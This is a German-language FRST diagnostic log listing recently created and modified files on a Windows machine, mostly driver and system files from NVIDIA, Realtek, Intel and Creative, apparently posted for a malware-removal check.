2017-05-30 08:00 - 2017-04-14 01:13 - 00354304 _____ (Microsoft Corporation) C:\windows\SysWOW64\InputSwitch.dll
2017-05-30 08:00 - 2017-04-14 01:13 - 00232960 _____ (Microsoft Corporation) C:\windows\SysWOW64\webcheck.dll
2017-05-30 08:00 - 2017-04-01 02:11 - 00038912 _____ (Adobe Systems) C:\windows\SysWOW64\atmlib.dll
2017-05-30 08:00 - 2017-04-01 02:05 - 00047104 _____ (Adobe Systems) C:\windows\system32\atmlib.dll
2017-05-30 08:00 - 2017-04-01 02:02 - 00252928 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsDocumentTargetPrint.dll
2017-05-30 08:00 - 2017-04-01 02:01 - 00429568 _____ (Microsoft Corporation) C:\windows\SysWOW64\winspool.drv
2017-05-30 08:00 - 2017-04-01 01:56 - 01060352 _____ (Microsoft Corporation) C:\windows\SysWOW64\XpsPrint.dll
2017-05-30 08:00 - 2017-04-01 01:55 - 00347136 _____ (Microsoft Corporation) C:\windows\system32\XpsDocumentTargetPrint.dll
2017-05-30 08:00 - 2017-04-01 01:50 - 01657344 _____ (Microsoft Corporation) C:\windows\system32\XpsPrint.dll
2017-05-29 16:40 - 2017-05-29 16:40 - 00000000 ____D C:\Users\****\AppData\Local\Comms
2017-05-29 16:26 - 2017-05-30 09:48 - 00000000 ___RD C:\Users\****\OneDrive
2017-05-29 16:26 - 2017-05-29 16:26 - 00000000 ____D C:\Users\****\AppData\Roaming\Intel Corporation
2017-05-29 16:24 - 2017-06-08 14:24 - 00000000 __SHD C:\Users\****\IntelGraphicsProfiles
2017-05-29 16:24 - 2017-06-03 23:58 - 00000000 ____D C:\Users\****\AppData\Local\NVIDIA Corporation
2017-05-29 16:24 - 2017-05-30 20:39 - 00000000 ____D C:\Users\****\AppData\Local\Packages
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Roaming\Adobe
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\VirtualStore
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\TileDataLayer
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\Publishers
2017-05-29 16:24 - 2017-05-29 16:24 - 00000000 ____D C:\Users\****\AppData\Local\ConnectedDevicesPlatform
2017-05-29 16:23 - 2017-06-07 23:02 - 00000000 ____D C:\Users\****
2017-05-29 16:23 - 2017-05-29 16:23 - 00000020 ___SH C:\Users\****\ntuser.ini
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Vorlagen
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Startmenü
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Netzwerkumgebung
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Lokale Einstellungen
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Eigene Dateien
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Druckumgebung
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Videos
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Musik
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Documents\Eigene Bilder
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Roaming\Microsoft\Windows\Start Menu\Programme
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Local\Verlauf
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\AppData\Local\Anwendungsdaten
2017-05-29 16:23 - 2017-05-29 16:23 - 00000000 _SHDL C:\Users\****\Anwendungsdaten
2017-05-18 07:54 - 2017-05-18 07:54 - 35397536 _____ (NVIDIA Corporation) C:\windows\system32\nvoglv64.dll
2017-05-18 07:54 - 2017-05-18 07:54 - 28632152 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvoglv32.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00969632 _____ (NVIDIA Corporation) C:\windows\system32\NvIFR64.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00920664 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvIFR.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00618584 _____ (NVIDIA Corporation) C:\windows\system32\NvIFROpenGL.dll
2017-05-18 07:53 - 2017-05-18 07:53 - 00507992 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvIFROpenGL.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 40210520 _____ (NVIDIA Corporation) C:\windows\system32\nvcompiler.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 35290200 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcompiler.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 03800992 _____ (NVIDIA Corporation) C:\windows\system32\nvcuvid.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 03256408 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcuvid.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01996704 _____ (NVIDIA Corporation) C:\windows\system32\nvdispco6438205.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01598368 _____ (NVIDIA Corporation) C:\windows\system32\nvdispgenco6438205.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 01062816 _____ (NVIDIA Corporation) C:\windows\system32\NvFBC64.dll
2017-05-18 07:52 - 2017-05-18 07:52 - 00999840 _____ (NVIDIA Corporation) C:\windows\SysWOW64\NvFBC.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 11162000 _____ (NVIDIA Corporation) C:\windows\system32\nvptxJitCompiler.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 11129704 _____ (NVIDIA Corporation) C:\windows\system32\nvcuda.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 10648520 _____ (NVIDIA Corporation) C:\windows\system32\nvopencl.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 09335528 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvcuda.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 09102488 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvptxJitCompiler.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 08891160 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvopencl.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01298696 _____ (NVIDIA Corporation) C:\windows\system32\nvEncMFTH264.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01296264 _____ (NVIDIA Corporation) C:\windows\system32\nvEncMFThevc.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01013344 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncMFTH264.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 01011488 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncMFThevc.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00791792 _____ (NVIDIA Corporation) C:\windows\system32\nvEncodeAPI64.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00703880 _____ (NVIDIA Corporation) C:\windows\system32\nvfatbinaryLoader.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00626392 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvEncodeAPI.dll
2017-05-18 07:50 - 2017-05-18 07:50 - 00591672 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvfatbinaryLoader.dll
2017-05-18 04:34 - 2017-05-18 04:34 - 00000669 _____ C:\windows\SysWOW64\nv-vk32.json
2017-05-18 04:34 - 2017-05-18 04:34 - 00000669 _____ C:\windows\system32\nv-vk64.json
2017-05-13 07:06 - 2017-05-12 15:47 - 00000000 ____D C:\windows\Panther
2017-05-13 07:00 - 2017-05-12 15:23 - 00000000 ____D C:\MININT
2017-05-13 07:00 - 2016-09-19 12:21 - 00795640 _____ (Intel Corporation) C:\windows\system32\Drivers\iaStorA.sys
2017-05-13 07:00 - 2016-08-01 09:42 - 00943112 _____ (Realtek ) C:\windows\system32\Drivers\rt640x64.sys
2017-05-12 15:27 - 2017-05-29 16:19 - 00003042 _____ C:\windows\System32\Tasks\IUM-F1E24CA0-B63E-4F13-A9E3-4ADE3BFF3473
2017-05-12 15:22 - 2017-05-12 15:22 - 00019778 _____ C:\windows\system32\results.xml
2017-05-12 15:21 - 2017-05-12 15:21 - 10238808 _____ C:\windows\SysWOW64\PerfStringBackup.INI
2017-05-12 15:21 - 2017-05-12 15:21 - 00466520 _____ (Creative Labs) C:\windows\system32\wrap_oal.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00445016 _____ (Creative Labs) C:\windows\SysWOW64\wrap_oal.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00123480 _____ (Portions (C) Creative Labs Inc. and NVIDIA Corp.) C:\windows\system32\OpenAL32.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00109144 _____ (Portions (C) Creative Labs Inc. and NVIDIA Corp.) C:\windows\SysWOW64\OpenAL32.dll
2017-05-12 15:21 - 2017-05-12 15:21 - 00000219 ___RH C:\windows\ctfile.rfc
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Intel
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Creative
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\ProgramData\Creative
2017-05-12 15:21 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files (x86)\AirplaneModeInstaller
2017-05-12 15:21 - 2017-02-07 05:23 - 00809560 ____R (Creative Labs Inc.) C:\windows\SysWOW64\tmp6E6A.tmp
2017-05-12 15:21 - 2017-02-07 05:23 - 00809560 ____R (Creative Labs Inc.) C:\windows\SysWOW64\tmp6E69.tmp
2017-05-12 15:21 - 2016-12-12 10:52 - 00057606 _____ C:\windows\MBSpkrEQ.cfg
2017-05-12 15:21 - 2016-07-05 14:00 - 00005024 ____N C:\windows\MBCfg_SP_APOIM.ini
2017-05-12 15:21 - 2016-03-15 13:55 - 00089600 _____ C:\windows\system32\CmdRtr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00359424 _____ C:\windows\system32\APOMgr64.DLL
2017-05-12 15:21 - 2016-03-15 13:54 - 00074240 _____ C:\windows\SysWOW64\CmdRtr.DLL
2017-05-12 15:21 - 2016-03-15 13:53 - 00271360 _____ C:\windows\SysWOW64\APOMngr.DLL
2017-05-12 15:21 - 2016-03-03 14:42 - 01942016 _____ (Creative) C:\windows\system32\Sens_oal.dll
2017-05-12 15:21 - 2016-03-03 14:39 - 01609728 _____ (Creative) C:\windows\SysWOW64\Sens_oal.dll
2017-05-12 15:21 - 2015-05-22 10:41 - 00378824 _____ (Creative Technology Ltd.) C:\windows\system32\ChezSC64.DLL
2017-05-12 15:21 - 2015-05-22 10:41 - 00329672 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\ChezSC32.DLL
2017-05-12 15:21 - 2015-05-04 10:05 - 00020697 _____ C:\windows\SysWOW64\MBCfg32.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00020697 _____ C:\windows\system32\MBCfg64.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00006968 _____ C:\windows\SysWOW64\MBCfgUninstall32.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00006968 _____ C:\windows\system32\MBCfgUninstall64.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00004862 ____N C:\windows\MBCfg_APOIM.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00004821 ____N C:\windows\MBCfg_HP_APOIM.ini
2017-05-12 15:21 - 2015-05-04 10:05 - 00001165 ____N C:\windows\MBCfg_Capture_APOIM.ini
2017-05-12 15:21 - 2014-02-21 10:57 - 00041088 _____ (Creative Technology Ltd.) C:\windows\system32\MBCfg64.dll
2017-05-12 15:21 - 2014-02-21 10:57 - 00038016 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBCfg32.dll
2017-05-12 15:21 - 2013-04-23 10:54 - 00148096 _____ (Creative Technology Ltd.) C:\windows\system32\MBCfg64.exe
2017-05-12 15:21 - 2013-04-23 10:53 - 00138880 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBCfg32.exe
2017-05-12 15:21 - 2013-04-23 10:53 - 00015488 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\ResDefA.exe
2017-05-12 15:21 - 2000-05-11 01:00 - 00090112 ____N (Creative Technology Ltd.) C:\windows\Updreg.EXE
2017-05-12 15:20 - 2017-05-29 16:19 - 00003118 _____ C:\windows\System32\Tasks\Intel PTT EK Recertification
2017-05-12 15:20 - 2017-05-29 16:19 - 00003074 _____ C:\windows\System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7
2017-05-12 15:20 - 2017-05-29 16:19 - 00002708 _____ C:\windows\System32\Tasks\IntelIOC-Upgrade-f1c8187b-2653-47cd-a9be-b554b98f68a7-Logon
2017-05-12 15:20 - 2017-05-12 15:27 - 00000000 ____D C:\ProgramData\Intel
2017-05-12 15:20 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files (x86)\Creative
2017-05-12 15:20 - 2017-05-12 15:20 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_AirplaneModeHid_01011.Wdf
2017-05-12 15:20 - 2017-05-12 15:20 - 00000000 ____D C:\Program Files\Insyde
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_HKMouFltr_01009.Wdf
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_HKKbdFltr_01009.Wdf
2017-05-12 15:19 - 2017-05-12 15:19 - 00000000 ____D C:\Program Files (x86)\Hotkey
2017-05-12 15:19 - 2017-04-12 08:32 - 00532376 _____ (SRS Labs, Inc.) C:\windows\system32\SRSTSX64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00221960 _____ (SRS Labs, Inc.) C:\windows\system32\SRSTSH64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00209528 _____ (SRS Labs, Inc.) C:\windows\system32\SRSHP64.dll
2017-05-12 15:19 - 2017-04-12 08:32 - 00166200 _____ (SRS Labs, Inc.) C:\windows\system32\SRSWOW64.dll
2017-05-12 15:19 - 2016-05-24 19:19 - 00012800 _____ (Windows (R) 2000 DDK provider) C:\windows\SysWOW64\CLEVOMOF.dll
2017-05-12 15:19 - 2015-11-26 16:49 - 00051400 _____ (Insyde Software Corp.) C:\windows\system32\Drivers\HKKbdFltr.sys
2017-05-12 15:19 - 2015-11-26 16:49 - 00048344 _____ (Insyde Software Corp.) C:\windows\system32\Drivers\HKMouFltr.sys
2017-05-12 15:19 - 2015-05-21 16:30 - 00017880 _____ (Microsoft) C:\windows\SysWOW64\BTControl.exe
2017-05-12 15:18 - 2017-06-01 22:05 - 00004308 _____ C:\windows\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003994 _____ C:\windows\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003894 _____ C:\windows\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003866 _____ C:\windows\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003858 _____ C:\windows\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003696 _____ C:\windows\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00003654 _____ C:\windows\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}
2017-05-12 15:18 - 2017-06-01 22:05 - 00001491 _____ C:\Users\Public\Desktop\GeForce Experience.lnk
2017-05-12 15:18 - 2017-05-12 15:19 - 00000000 ___HD C:\Program Files (x86)\Temp
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_SynTP_01011.Wdf
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____H C:\windows\system32\Drivers\Msft_Kernel_Smb_driver_Intel_01011.Wdf
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\NVIDIA Corporation
2017-05-12 15:18 - 2017-05-12 15:18 - 00000000 ____D C:\Program Files\Synaptics
2017-05-12 15:18 - 2017-05-03 22:21 - 01893496 _____ (NVIDIA Corporation) C:\windows\system32\nvspcap64.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01755256 _____ (NVIDIA Corporation) C:\windows\system32\nvspbridge64.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01477240 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvspcap.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 01317496 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvspbridge.dll
2017-05-12 15:18 - 2017-05-03 22:21 - 00121464 _____ C:\windows\system32\NvRtmpStreamer64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 03203584 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtPgEx64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 03014144 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RTSnMg64.cpl
2017-05-12 15:18 - 2017-04-12 08:32 - 00343704 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtlCPAPI64.dll
2017-05-12 15:18 - 2017-04-12 08:32 - 00192976 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtkCfg64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 09107564 _____ C:\windows\system32\Drivers\RTAIODAT.DAT
2017-05-12 15:18 - 2017-04-12 08:31 - 03503048 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtkApi64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 02839520 _____ (Realtek Semiconductor Corp.) C:\windows\RtlExUpd.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 02201600 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RCoInstII64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 01743336 _____ (Creative Technology Ltd.) C:\windows\SysWOW64\MBAPO232.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 01353824 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RTCOM64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00689872 _____ (Realtek Semiconductor Corp.) C:\windows\system32\RtDataProc64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00387312 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEP64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00321712 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RP3DHT64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00321712 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RP3DAA64.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00214824 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEED64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00122312 _____ (Real Sound Lab SIA) C:\windows\system32\CONEQMSAPOGUILibrary.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00110976 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEL64A.dll
2017-05-12 15:18 - 2017-04-12 08:31 - 00088344 _____ (Dolby Laboratories, Inc.) C:\windows\system32\RTEEG64A.dll
2017-05-12 15:18 - 2017-02-07 05:17 - 00064088 _____ (Synaptics Incorporated) C:\windows\system32\Drivers\Smb_driver_Intel.sys
2017-05-12 15:18 - 2016-08-01 09:42 - 00082544 _____ (Realtek Semiconductor Corporation) C:\windows\system32\RtNicProp64.dll
2017-05-12 15:18 - 2016-07-15 01:27 - 00084480 _____ (Realtek Semiconductor.) C:\windows\system32\RtCRX64.dll
2017-05-12 15:18 - 2016-07-15 01:23 - 04332032 _____ (Realtek Semiconductor Corp.) C:\windows\RtCRU64.exe
2017-05-12 15:18 - 2010-05-26 11:41 - 02401112 _____ (Microsoft Corporation) C:\windows\system32\D3DX9_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 01998168 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DX9_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00511328 _____ (Microsoft Corporation) C:\windows\system32\d3dx10_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00470880 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx10_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00276832 _____ (Microsoft Corporation) C:\windows\system32\d3dx11_43.dll
2017-05-12 15:18 - 2010-05-26 11:41 - 00248672 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dx11_43.dll
2017-05-12 15:16 - 2017-05-18 07:50 - 04136744 _____ (NVIDIA Corporation) C:\windows\system32\nvapi64.dll
2017-05-12 15:16 - 2017-05-18 07:50 - 03647864 _____ (NVIDIA Corporation) C:\windows\SysWOW64\nvapi.dll
2017-05-12 15:16 - 2017-05-03 22:21 - 00175736 _____ (NVIDIA Corporation) C:\windows\system32\nvaudcap64v.dll
2017-05-12 15:16 - 2017-05-03 22:21 - 00057976 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvvhci.sys
2017-05-12 15:16 - 2017-05-03 22:21 - 00048248 _____ (NVIDIA Corporation) C:\windows\system32\Drivers\nvvad64v.sys
2017-05-12 15:15 - 2017-05-12 15:19 - 00000000 ____D C:\windows\SysWOW64\RTCOM
2017-05-12 15:15 - 2017-05-12 15:15 - 00000000 ____D C:\Program Files\Realtek
2017-05-12 15:14 - 2017-06-08 14:28 - 00000000 ____D C:\ProgramData\NVIDIA
2017-05-12 15:14 - 2017-06-01 22:05 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation
2017-05-12 15:14 - 2017-05-12 15:21 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-12 15:14 - 2017-05-12 15:18 - 00000000 ____D C:\windows\SysWOW64\sda
2017-05-12 15:14 - 2017-05-12 15:18 - 00000000 ____D C:\Program Files (x86)\Realtek
2017-05-12 15:14 - 2017-05-03 17:41 - 00001951 _____ C:\windows\NvContainerRecovery.bat
2017-05-12 15:14 - 2017-05-01 22:51 - 06437312 _____ (NVIDIA Corporation) C:\windows\system32\nvcpl.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 02479552 _____ (NVIDIA Corporation) C:\windows\system32\nvsvc64.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 01762752 _____ (NVIDIA Corporation) C:\windows\system32\nvsvcr.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00548800 _____ (NVIDIA Corporation) C:\windows\system32\nv3dappshext.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00392312 _____ (NVIDIA Corporation) C:\windows\system32\nvmctray.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00081856 _____ (NVIDIA Corporation) C:\windows\system32\nv3dappshextr.dll
2017-05-12 15:14 - 2017-05-01 22:51 - 00069752 _____ (NVIDIA Corporation) C:\windows\system32\nvshext.dll
2017-05-12 15:14 - 2017-04-25 23:11 - 07944687 _____ C:\windows\system32\nvcoproc.bin
2017-05-12 15:14 - 2016-08-05 09:11 - 00779232 _____ (Realsil Semiconductor Corporation) C:\windows\system32\Drivers\RtsPer.sys
2017-05-12 15:14 - 2016-07-15 01:40 - 09891328 _____ (Realtek Semiconductor Corp.) C:\windows\SysWOW64\RsCRIcon.dll
2017-05-12 15:13 - 2017-06-01 22:05 - 00000000 ____D C:\ProgramData\NVIDIA Corporation
2017-05-12 15:13 - 2017-06-01 22:05 - 00000000 ____D C:\Program Files\NVIDIA Corporation
2017-05-12 15:13 - 2017-05-12 15:13 - 00000000 ____D C:\windows\Logos
2017-05-12 15:12 - 2017-05-12 15:21 - 00000000 ____D C:\Program Files\Intel
2017-05-12 15:12 - 2017-05-12 15:20 - 00000000 ____D C:\Program Files (x86)\Intel
2017-05-12 15:12 - 2017-05-12 15:15 - 00000000 ____D C:\Intel
2017-05-12 15:12 - 2017-05-12 15:12 - 00000000 _____ C:\windows\system32\GfxValDisplayLog.bin
2017-05-12 15:12 - 2016-11-21 08:25 - 00113664 _____ (Khronos Group) C:\windows\system32\OpenCL.DLL
2017-05-12 15:12 - 2016-11-21 08:25 - 00104448 _____ (Khronos Group) C:\windows\SysWOW64\OpenCL.DLL

==================== Ein Monat: Geänderte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-08 14:28 - 2017-03-18 23:03 - 00000000 ____D C:\windows\AppReadiness
2017-06-08 14:24 - 2017-04-11 08:04 - 00000006 ____H C:\windows\Tasks\SA.DAT
2017-06-08 14:23 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Windows Photo Viewer
2017-06-08 14:23 - 2017-03-18 13:40 - 00786432 _____ C:\windows\system32\config\BBI
2017-06-08 00:01 - 2017-04-11 08:03 - 00000000 ____D C:\windows\system32\SleepStudy
2017-06-07 23:08 - 2017-04-11 08:13 - 03184236 _____ C:\windows\system32\PerfStringBackup.INI
2017-06-07 23:08 - 2017-03-20 06:35 - 01528314 _____ C:\windows\system32\perfh007.dat
2017-06-07 23:08 - 2017-03-20 06:35 - 00365324 _____ C:\windows\system32\perfc007.dat
2017-06-07 18:03 - 2017-03-18 23:03 - 00000000 ___HD C:\Program Files\WindowsApps
2017-06-06 21:20 - 2017-03-18 23:03 - 00000000 ____D C:\windows\rescache
2017-06-06 21:04 - 2017-04-11 08:12 - 00000000 ____D C:\windows\SysWOW64\XPSViewer
2017-06-06 21:04 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\winrm
2017-06-06 21:04 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\WCN
2017-06-06 21:04 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\slmgr
2017-06-06 21:04 - 2017-03-20 06:35 - 00000000 ____D C:\windows\SysWOW64\Printing_Admin_Scripts
2017-06-06 21:04 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\winrm
2017-06-06 21:04 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\WCN
2017-06-06 21:04 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\slmgr
2017-06-06 21:04 - 2017-03-20 06:35 - 00000000 ____D C:\windows\system32\Printing_Admin_Scripts
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\SysWOW64\F12
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\SysWOW64\DiagSvcs
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\system32\F12
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\system32\dsc
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ___SD C:\windows\system32\DiagSvcs
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ___RD C:\windows\ImmersiveControlPanel
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ___RD C:\Program Files\Windows Defender
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\oobe
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\MUI
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\Dism
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\Com
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\WinBioPlugIns
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\SystemResetPlatform
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\oobe
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\MUI
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\migwiz
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\Com
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\PolicyDefinitions
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\IME
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\windows\Help
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files\Common Files\System
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows Photo Viewer
2017-06-06 21:04 - 2017-03-18 23:03 - 00000000 ____D C:\Program Files (x86)\Windows Defender
2017-06-06 21:04 - 2017-03-18 22:51 - 00000000 ____D C:\windows\CbsTemp
2017-06-06 21:04 - 2017-03-18 13:40 - 00000000 ____D C:\windows\system32\Sysprep
